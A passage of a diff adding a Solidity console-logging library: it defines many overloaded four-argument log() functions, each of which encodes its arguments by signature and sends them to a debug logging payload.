+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,uint)', p0, p1, p2, p3));
+    }
+
